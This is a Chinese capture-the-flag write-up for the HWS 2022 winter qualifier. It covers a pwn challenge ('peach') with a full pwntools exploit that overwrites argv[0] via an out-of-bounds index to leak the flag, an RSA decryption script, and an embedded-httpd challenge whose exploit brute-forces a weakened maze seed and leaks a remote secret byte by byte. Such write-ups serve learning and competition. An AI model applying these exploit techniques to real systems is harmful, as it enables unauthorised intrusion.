HWS冬令营线上选拔赛2022

wp

Posted by X1ng on January 25, 2022

很多原题,拿到了RW的一血确定晋级了就摸了

PWN

送分题

原题,第二届华为武汉研究所11·9网络安全大赛PWN Writeup

exp都不用改就能跑

peach

跟祥云杯2021的lemon如出一辙,题目文件固定了附件中的libc-2.26无法修改

  1. 开始先读取flag到栈上,再将一个栈地址放到bss上,并给了栈地址低2字节
  2. add函数中先将name堆块放到全局数组上,再判断想要申请的peach堆块的size是否符合,不符合则释放,可以UAF
  3. 只有一次机会draw,可以往全局数组中的name堆块写入最多0x420字节
  4. draw函数中获取idx的时候没有考虑负数,造成数组越界

思路是通过draw的数组越界将bss上的栈地址作为一个name,从而往栈上写入数据,可以将栈上保存的main函数的argv[0](也就是程序名称字符串的地址)覆盖为flag地址,这样在报错的时候就会打印出flag

正常来说在填充栈的时候覆盖到canary,则返回的时候触发canary的错误会直接打印出来,但是实际操作的时候应该显示flag的位置总是unknow,最后利用add中的UAF构造unsorted bin的double free错误可以成功打印出flag

exp:

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=0
binary_name='peachw'

libc=ELF("./libc/libc-2.26.so")
e=ELF("./"+binary_name)
def exp():
	if local:
		p=process("/home/x1ng/pwn/hws/libc/"+binary_name)
	else:
		p=remote('1.13.162.249',   10003)
		

	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()


	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	def cho(num):
		ru('Your choice:')
		sd(p32(num)+b'\x00')
		
	def add(idx, sz, name, des):
		cho(1)
		sla('Index ?',str(idx))
		sla('name your peach  : ',name)
		sla('size of your peach:', str(sz))
		ru('descripe your peach :')
		sd(des)
		
	def add2(idx, name):
		cho(1)
		sla('Index ?',str(idx))
		sla('name your peach  : ',name)
		sla('size of your peach:', str(0x80))
		
	def delete(idx):
		cho(2)
		sla('Index ?',str(idx))
		
	def eat(idx, num):
		cho(3)
		sla('Index ?',str(idx))
		ru('lucky number?')
		sd(p32(num)+b'\x00')
		
	def draw(idx, sz, data):
		cho(4)
		sla('Index ?',str(idx))
		ru('size of your peach : ')
		sd(p32(sz)+b'\x00')
		ru('your peach')
		sd(data)
		
	sla('Do you like peach?','yes\x00'.ljust(0x1c,'a'))
	ru('The peach is ')
	su = int(ru('\n')[:-1])-0x60
	print(hex(su))
	

	pd=b'a'*0x198+p16(su)
	draw(-0x24,0x420, pd)
	
	add(1,0x420,'X1ng','1'*0x100)
	add(2,0x420,'X1ng','1'*0x100)
	add(3,0x420,'X1ng','1'*0x100)
	delete(1)
	add2(0,'a')

	delete(0)
	ia()


exp()

CRYPTO

babyRSA

附件中有RSA加密脚本以及RSA的e、N、c

在线网站分解N

factordb.com

然后写脚本解密

exp:

import os
#from secret import FLAG,p,q,e

from Crypto.Util.number import bytes_to_long,long_to_bytes
import gmpy2


def encrypt(m,N,e):
	return pow(m,e,N)

def decrypt(c,N,d):
	return pow(c,d,N)

p=98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q=133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e=2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
c=1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
N=13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929

if __name__ == "__main__":

	d = gmpy2.invert(e, (p-1)*(q-1))
	print(d)
	p = gmpy2.powmod(c, d, N)
	print(long_to_bytes(decrypt(c,N,d)))
    
#b'hwctf{01d_Curs3_c4Me_Again}vG\x03MC\xcd\xfd\x1d\x0bO\xcaV\x9b\x87vk\xd6\xb3\xbb\x8f\xc5\xd61\xdf7\x0f\x90\xc6\x17oj]\xf5J\xd4\xa9\xcc\xdb\xbe?\xb2(\xf0\xb2\xb6\x99b\xa7e\xa8\x82\xf7SY\xc7\xd9\xde\xc4\xb5\xe3q\xc1\xe8\xfeM\xbd\xbe\xfdD\xed\xb3\x12~\x9d\xba\xa4\xb0\xfek\x81\xc4-\x82\xb3%\xae4\x7fGl\x9a\xac\xc3\x91\xc1\xbc\x04\x03o\xa4\x8d'

RW

BabyCGI1

一个附件两个flag,根据题目要分析httpd服务,httpd通过多进程的方式来响应http报文,accept接收到连接后fork一个进程来进行响应

start脚本跑起来本地qemu环境,第一反应是上传gdbserver用来调试,但是由于题目原来的启动脚本只开启了一个tcp端口8080用于http服务

#!/bin/sh
./qemu-system-arm -M vexpress-a9 -smp 1 -m 256 -kernel zImage -dtb vexpress-v2p-ca9.dtb -drive file=rootfs.ext2,if=sd,format=raw -append "console=ttyAMA0,115200 rootwait root=/dev/mmcblk0"  -net nic,model=lan9118 -net user,hostfwd=tcp:0.0.0.0:8080-:8080 -nographic -monitor null

要添加一个hostfwd=tcp:0.0.0.0:1234-:1234打开1234端口给gdb连接

#!/bin/sh
./qemu-system-arm -M vexpress-a9 -smp 1 -m 256 -kernel zImage -dtb vexpress-v2p-ca9.dtb -drive file=rootfs.ext2,if=sd,format=raw -append "console=ttyAMA0,115200 rootwait root=/dev/mmcblk0"  -net nic,model=lan9118 -net user,hostfwd=tcp:0.0.0.0:8080-:8080,hostfwd=tcp:0.0.0.0:1234-:1234 -nographic -monitor null

启动qemu进行模拟,然后上传gdbserver准备进行调试

ps | grep httpd
./gdbserver-7.7.1-armel-eabi5-v1-sysv  :1234 --attach 133
set arch arm
target remote :1234

gdb远程调试的具体步骤可以看这篇博客

但是发现正常gdb调试多进程的方法不能使用,看不见生成的子进程

info inferers

如果在某个位置下断点,执行到断点时则会退出进程、断开连接

逆向分析httpd文件,提供http服务,设置了 flag.cgi 和 pwncgi.cgi 路由是需要身份验证后才能访问的,game.cgi 和其他一些不需要

  1. game的逻辑是从接收到的post报文的data中获取username和step,从/dev/urandom中读取2字节随机数作为种子生成迷宫地图,并用step中的路径走地图,如果走出迷宫则返回token

    这里username限制了0x20字节,但是使用strcpy进行复制,存在off-by-null漏洞

    在栈地址上username变量后面是随机数,即off-by-null让随机数变成了1字节随机,所以可以爆破生成的地图 1/256概率成功

  2. 获取token后可以访问flag路由和cgipwn路由,猜测两个路由分别对应两个flag,看flag路由的handle函数

  3. 其需要构造data为一串01字符串,01字符串需要满足

     if ( memcmp(part1, part5, 3u)
         || memcmp(part1, &byte_CDC8, 3u)
         || memcmp(part3, &unk_CDCC, 5u)
         || (times = sub_6CA4(part2, &crc), times == -1)
         || (v27[0] = times + 0x30, sub_6E14(part2, &crc, &v27[1]))
         || sub_6FE0(part2, &v27[1]) )
       {
     LABEL_40:
         free(data);
         error_400(a1);
         return;
       }
    

    三个memcmp得到

     101xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx01010xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx101
    

    剩余不确定01串分为两大段,长度都是42,程序后面的逻辑将其都分为6小段,每段7个数

  4. 由sub_6CA4和sub_6E14确定第一大段

    sub_6CA4中先计算出6小段01串各自1的个数形成一个6位校验码,校验码为1的位数对应的小段中1的个数为奇数,校验码为0的位数对应的小段中1的个数为偶数

     如110100则代表
     第1小段7个数字中1的个数为奇数
     第2小段7个数字中1的个数为奇数
     第3小段7个数字中1的个数为偶数
     第4小段7个数字中1的个数为奇数
     第5小段7个数字中1的个数为偶数
     第6小段7个数字中1的个数为偶数
    

    然后检测校验码,必须是以下其中之一

     111111 110100 110010 110001 101100 100110 100011 101010 101001 100101
    

    sub_6E14中则要求6小段01串必须为以下其中之一

     奇:0001101 0011001 0010011 0111101 0100011 0110001 0101111 0111011 0110111 0001011
     偶:0100111 0110011 0011011 0100001 0011101 0111001 0000101 0010001 0001001 0010111
    

    所以6个小段中的每一段只需要从奇偶两个数组中任选一个构造正确的校验码即可绕过检查

     如:
     校验码:100011
     01串:0110111 0111001 0011011 0100001 0110111 0110001
    
  5. 由sub_6FE0确定第二段

    sub_6FE0要求6小段01串必须为以下其中之一

     1110010 1100110 1101100 1000010 1011100 1001110 1010000 1000100 1001000 1110100
    

    任选6个绕过检查

    (在测试的时候可以在某个判断函数下断点,通过exp是否有连接断开报错来判断程序有没有走到这个判断函数,有点断点插桩的意思)

  6. 在三个函数中会将选择的小段在各自数组中的idx放到一个字符数组中,在上面的检查通过后,判断是否与secret文件中的字符串相等

    直接打开本地环境根目录下的secret得到

     '6'+'852385'+'810484'
     则校验码需要选择idx为6的小段100011,再以此构造其他的01串小段
    

    根据上面的规则可以得到正确的01串为

     '101'+'011011101110010011011010000101101110110001'+'01010'+'100100011001101110010101110010010001011100'+'101'
    

    访问本地可以得到flag

     x1ng@ubuntu:~/pwn/hws/rw1/BabyCGI1$ python pow1.py 
     [+]times: 444
     [+]token: 6a6a13c6c08c60b74aea81a800e48b5ea22b747fddcb6dcb2818aec8f9e9bc33
     [+]port: 15501
     <html><head><title>GetFlag</title></head><body><p>flag{poh05uon6f9lysjvussvs9xb5jvts8me}</p></body></html>
     b'head><title>Ge'
    
  7. 兴致勃勃打远程,发现远程的secret与本地不一样23333

    分析如何泄露secret

    比较字符串关键代码为

     for ( j = 0; j <= 0xCu; ++j )
       {
         if ( v27[j] != *(secret + j) )
         {
           v7 = sprintf(&v32 + v14, "<body><p>wrong passwd: %s</p></body></html>", v27);
           v14 += v7;
           break;
         }
       }
    

    v27保存的是由idx生成的字符数组,在secret校验不通过的时候打印出错误的字符数组

    发现用来保存判断到第几字节的变量j,在栈中的地址紧跟v27数组后面,则可以根据数组后面跟着的字符来判断在哪一位判断失败,以此来逐字节爆破远程secret

只写了个手动爆破的exp,并且连接远程的时候防止恶意爆破需要proof-of-work

exp:

import requests
from pwn import *
context(arch='arm',endian='little',os='linux')
from pwnlib.util.iters import mbruteforce
from hashlib import sha256

local = 1
ok=0

port = b'15501'
token = 'c5acda94780241313bb0f14354b623d3cc08bf7ea9747601129c7892f274c451'

if local!=1 and ok!=1:
	sh=remote("1.13.193.80","8080")
	sh.recvuntil('sha256("')
	prefix = sh.recvuntil('"').decode("utf8")[:-1]
	print(prefix)


	def checkHash(content, result):
		result = result.strip()
		s = sha256(content.encode('latin1')+result.encode('latin1'))
		if s.hexdigest().find("000000")!=-1 and int(s.hexdigest()[6:8], 16) < 0x40:
		    return True
		return False

	i = 0
	while True:
		i += 1
		if checkHash(prefix,str(i)):
		    print(i)
		    break
	sh.sendlineafter(">", str(i))
	sh.recvuntil('Here your port: ')
	port = sh.recvuntil('\n')[:-1]
	url1 = "http://1.13.193.80:"+port.decode()+"/game.cgi"
	url2 = "http://1.13.193.80:"+port.decode()+"/flag.cgi"
	
	pd1 = {
	"Host": "www.X1ng.top",
	}
	pd2 = 'username='+'a'*0x20+'&step=dssssssssdssdsddssasaassasssddwwddwwdwddwddssdsddssdsddwwddddssd'

	for i in range(256*4):
		r = requests.post(url1, headers=pd1, data=pd2)
		if 'Great!' in r.text:
			print('[+]times: '+str(i))
			break
			
	token = r.text[115:179]
	print("[+]token: "+token)
	print(b"[+]port: "+port)

elif local!=1 and ok==1:
	url1 = "http://1.13.193.80:"+port.decode()+"/game.cgi"
	url2 = "http://1.13.193.80:"+port.decode()+"/flag.cgi"
    
elif local==1:
	url1 = "http://0.0.0.0:8080/game.cgi"
	url2 = "http://0.0.0.0:8080/flag.cgi"

	pd1 = {
	"Host": "www.X1ng.top",
	}
	pd2 = 'username='+'a'*0x20+'&step=dssssssssdssdsddssasaassasssddwwddwwdwddwddssdsddssdsddwwddddssd'

	for i in range(256*4):
		r = requests.post(url1, headers=pd1, data=pd2)
		if 'Great!' in r.text:
			print('[+]times: '+str(i))
			break
			
	token = r.text[115:179]
	print("[+]token: "+token)
	print("[+]port: "+port.decode())

pd1 = {
"Host": "www.x1ng.top",
"token": token
}

p1 = ['111111' ,'110100' ,'110010' ,'110001' ,'101100' ,'100110' ,'100011' ,'101010' ,'101001' ,'100101']
ji = ['0001101' ,'0011001','0010011','0111101','0100011','0110001','0101111','0111011','0110111','0001011']
ou = ['0100111','0110011','0011011','0100001','0011101','0111001','0000101','0010001','0001001','0010111']
p3 = ['1110010','1100110','1101100','1000010','1011100','1001110','1010000','1000100','1001000','1110100']



#remote secret: 

#5:100110 :


#5:0110001:

#8:0001001:

#5:0111001:

#5:0110001:

#9:0001011:

#2:0011011:


#6:1010000:p3[6]+p3[i]+p3[i]+p3[i]+p3[i]+p3[i]

#4:1011100:p3[6]+p3[4]+p3[i]+p3[i]+p3[i]+p3[i]

#5:1001110:p3[6]+p3[4]+p3[5]+p3[i]+p3[i]+p3[i]

#2:1101100:p3[6]+p3[4]+p3[5]+p3[2]+p3[i]+p3[i]

#2:1101100:p3[6]+p3[4]+p3[5]+p3[2]+p3[2]+p3[i]

#8:1001000:p3[6]+p3[4]+p3[5]+p3[2]+p3[2]+p3[8]


#pd2='101'+'011000100010010111001011000100010110011011'+'01010'+'101000010111001001110110110011011001001000'+'101'

pd2='101' + ji[5]+ou[8]+ou[5]+ji[5]+ji[9]+ou[2] + '01010' + p3[6]+p3[4]+p3[5]+p3[2]+p3[2]+p3[8] + '101'


#local secret: '6'+'852385'+'810484'

#pd2='101'+'011011101110010011011010000101101110110001'+'01010'+'100100011001101110010101110010010001011100'+'101'


r = requests.post(url2, headers=pd1, data=pd2)
print(r.text)

off = r.text.encode().find(b'passwd: ')+8
print(r.text.encode()[off:off+14])

有空再看看pwn部分